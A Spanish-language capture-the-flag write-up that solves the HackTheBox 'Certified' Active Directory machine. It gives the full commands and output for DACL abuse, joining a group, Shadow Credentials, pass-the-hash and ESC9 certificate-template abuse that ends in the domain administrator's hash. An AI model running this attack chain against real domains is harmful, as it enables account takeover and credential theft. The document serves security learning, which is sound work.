Certified - HackTheBox
elc4br4
Resolviendo máquina Windows nivel Medium de HackTheBox donde aprovecharemos una serie de malas configuraciones en un entorno de Directorio Activo.
Reconocimiento
Como siempre comenzamos a con el reconocimiento de puertos abiertos en la máquina víctima, y como de costumbre esto lo hacemos con la herramienta nmap.
Tras identificar los puertos abiertos en el sistema procedo a escanearlos de forma más avanzada para obtener algo más de información de cada uno.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-20 02:44:59Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2025-03-20T02:46:30+00:00; +7h00m00s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2025-03-20T02:46:30+00:00; +7h00m00s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2025-03-20T02:46:30+00:00; +7h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-03-20T02:46:30+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49683/tcp open msrpc Microsoft Windows RPC
49713/tcp open msrpc Microsoft Windows RPC
49737/tcp open msrpc Microsoft Windows RPC
60528/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Tras el escaneo podemos destacar varias cosas.
DC01.certified.htb certified.htb
Kerberos (puerto 88)
SMB (445)
Cabe recordar que disponemos de credenciales, y tenemos el puerto 445 abierto por lo que podríamos revisar si las credenciales podrían servirnos para acceder al mismo.
┌──(kali㉿kali)-[~/Certified]
└─$ netexec smb 10.10.11.41 -u judith.madder -p judith09
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [-] certified.htb\judith.madder:judith09 STATUS_LOGON_FAILURE
El par de credenciales no nos sirve para SMB.
Explotación
Por lo que al disponer de credenciales podríamos hacer uso de bloodhound-python para enumerar un poco el directorio activo y buscar posibles vías de ataque.
También podríamos enumerar el dominio utilizando ldapdomaindump.
Y podemos descubrir los usuarios del dominio.
Por lo que el siguiente paso es dirigirnos a bloodhound para intentar buscar vías de ataque para poder avanzar con el CTF.
Partiendo del usuario judith.mader podemos ver que posee privilegios WriteOwner sobre el grupo MANAGEMENT.
Por lo que vamos a aprovecharlo para conceder al usuario judit.mader permisos de escritura y para añadir miembros al grupo para posteriormente añadirnos a nosotros mismos, y esto lo haremos usando algunas herramientas de impacket.
Después le damos los permisos WriteMembers para poder añadir usuarios al grupo MANAGEMENT.
┌──(kali㉿kali)-[~/Certified]
└─$ impacket-dacledit -action 'write' -rights 'WriteMembers' -target-dn "CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB" -principal "judith.mader" "certified.htb/judith.mader:judith09" 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20250320-101843.bak
[*] DACL modified successfully!
Y añadimos al usuario judith.mader al grupo MANGEMENT usando bloodyAD.
┌──(kali㉿kali)-[~/Certified]
└─$ bloodyAD --host 10.10.11.41 -d 'certified.htb' -u 'judith.mader' -p 'judith09' add groupMember "Management" "judith.mader"
[+] judith.mader added to Management
Los miembros del grupo MANAGEMENT tiene permisos de escritura sobre el usuario MANAGEMENT_SVC, por lo que tenemos dos opciones:
Realizar un ataque kerberoast y obtener el hash del usuario para craquearlo posteriormente.
Realizar un Shadow Credential Attack con la herramienta pyWhisker.
En mi caso realizaré las dos opciones para mostrar el funcionamiento.
- Para el kerberoast voy a utilizar la herramienta targetedkerberoast, aunque también se puede usar GetUserSPNs.py.
El siguiente paso sería craquear el hash, pero os adelanto que no vais a conseguirlo, por lo que toca pasar a la opción número 2.
- Vamos a realizar un ataque Shadow Credential utilizando certipy-ad, aunque también podríamso usar pywhisker para obtener el certificado pfx y la clave del mismo y posteriormente con gettgtpkinit.py obtener el TGT para después con getnthash sacar el hash del usuario MANAGEMENT_SVC.
Pero en mi caso lo haré usando certipy-ad ya que es más sencillo y mucho más rápido.
Como podemos ver en la imagen, hemos obtenido el TGT del usuario MANAGEMENT_SVC y su hash, por lo que podríamos revisar si es posible conectarnos vía WinRM haciendo Pass The Hash.
┌──(kali㉿kali)-[~/Certified]
└─$ netexec winrm 10.10.11.41 -u management_svc -H <HASH>
WINRM 10.10.11.41 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)
WINRM 10.10.11.41 5985 DC01 [+] certified.htb\management_svc:<HASH> (Pwn3d!)
Y parece que si podemos, por lo que ese será el siguiente paso.
A continuación ya podremos leer la flag de usuario, por lo que el siguiente paso será intentar obtener privilegios máximos.
Para poder continuar me dirijo a Bloodhound para buscar el camino a seguir.
El usuario MANAGEMENT_SVC dispone de permisos "Generic_All" sobre el usuario CA_OPERATOR, por lo que podríamos realizar de nuevo un ataque Shadow Credential para obtener su TGT y su HASH.
De nuevo voy a realizar el ataque usando certipy-ad.
Y tras obtener de nuevo el HASH y el TGT voy a comprobar si puedo conectarme vía WinRM con el usuario CA_OPERATOR.
┌──(kali㉿kali)-[~/Certified]
└─$ netexec winrm 10.10.11.41 -u ca_operator -H <HASH>
WINRM 10.10.11.41 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)
WINRM 10.10.11.41 5985 DC01 [-] certified.htb\ca_operator:<HASH>
Escalada de Privilegios
No podemos conectarnos vía WinRM... por lo que solo se me ocurre usar certipy-ad con el hash del usuario CA_OPERATOR para intentar buscar plantillas de certificados vulnerables.
Tras ejecutar el comando podemos ver que nos genera una serie de archivos, en concreto el archivo .zip es el que voy a importar a BloodHound para visualizar la información.
Pero antes de nada voy a leer el contenido de uno de los archivos de texto generados por certipy-ad.
Certificate Authorities
0
CA Name : certified-DC01-CA
DNS Name : DC01.certified.htb
Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htb
Certificate Serial Number : 36472F2C180FBB9B4983AD4D60CD5A9D
Certificate Validity Start : 2024-05-13 15:33:41+00:00
Certificate Validity End : 2124-05-13 15:43:41+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : CERTIFIED.HTB\Administrators
Access Rights
ManageCertificates : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
ManageCa : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Enroll : CERTIFIED.HTB\Authenticated Users
Certificate Templates
0
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDirectoryPath
SubjectAltRequireUpn
Enrollment Flag : NoSecurityExtension
AutoEnrollment
PublishToDs
Private Key Flag : 16842752
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\operator ca
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFIED.HTB\Administrator
Write Owner Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
Write Dacl Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
Write Property Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
[!] Vulnerabilities
ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
[!] Vulnerabilities
ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
Si nos fijamos al final del archivo podemos ver que nos indica que la plantilla de certificado CertifiedAuthentication es vulnerable a ESC9.
Para verificar que es cierto he encontrado un artículo que lo explica con detalle.
Podemos verificar que es vulnerable, a pesar de que la herramienta certipy nos lo mostró en el archivo de texto.
Es importante recordar para efectuar este ataque necesitamos permisos GenericAll, que en nuestro caso los disponemos con el usuario MANAGEMENT_SVC sobre el usuario CA_OPERATOR.
El siguiente paso es abusar de esta vulnerabilidad con el fin de escalar privilegios.
Para explotar ESC9, en primer lugar aprovecharé que con la cuenta MANAGEMENT_SVC tenemos permisos GenericAll sobre la cuenta CA_OPERATOR, usándola para cambiar el userPrincipalName (UPN) de CA_OPERATOR para que sea Administrator.
┌──(kali㉿kali)-[~/Certified/certipy-ad]
└─$ certipy-ad account update -u management_svc -hashes :<HASH> -user ca_operator -upn Administrator -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : Administrator
[*] Successfully updated 'ca_operator'
El siguiente paso será solicitar el certificado del usuario Administrador utilizando las credenciales del usuario CA_OPERATOR.
┌──(kali㉿kali)-[~/Certified/certipy-ad]
└─$ certipy-ad req -u ca_operator -hashes :<HASH-CA_OPERATOR> -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41 2>/dev/null
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
Una vez que tenemos el certificado solo debemos utilizarlo para autenticarnos.
┌──(kali㉿kali)-[~/Certified/certipy-ad]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.41 -domain certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[-] Name mismatch between certificate and user 'administrator'
[-] Verify that the username 'administrator' matches the certificate UPN: Administrator
Al intentar autenticarme me da un error porque no coincide el UPN, por lo que debemos volver a actualizarlo como hicimos anteriormente para dejarlo como estaba.
┌──(kali㉿kali)-[~/Certified/certipy-ad]
└─$ certipy-ad account update -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'
┌──(kali㉿kali)-[~/Certified/certipy-ad]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.41 -domain certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': <HASH-ADMINISTRATOR>
Y por último haciendo “Pass The Hash” nos conectamos vía Evil-WinRM.
Subscribe to my newsletter
Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
elc4br4
elc4br4
Cybersecurity Student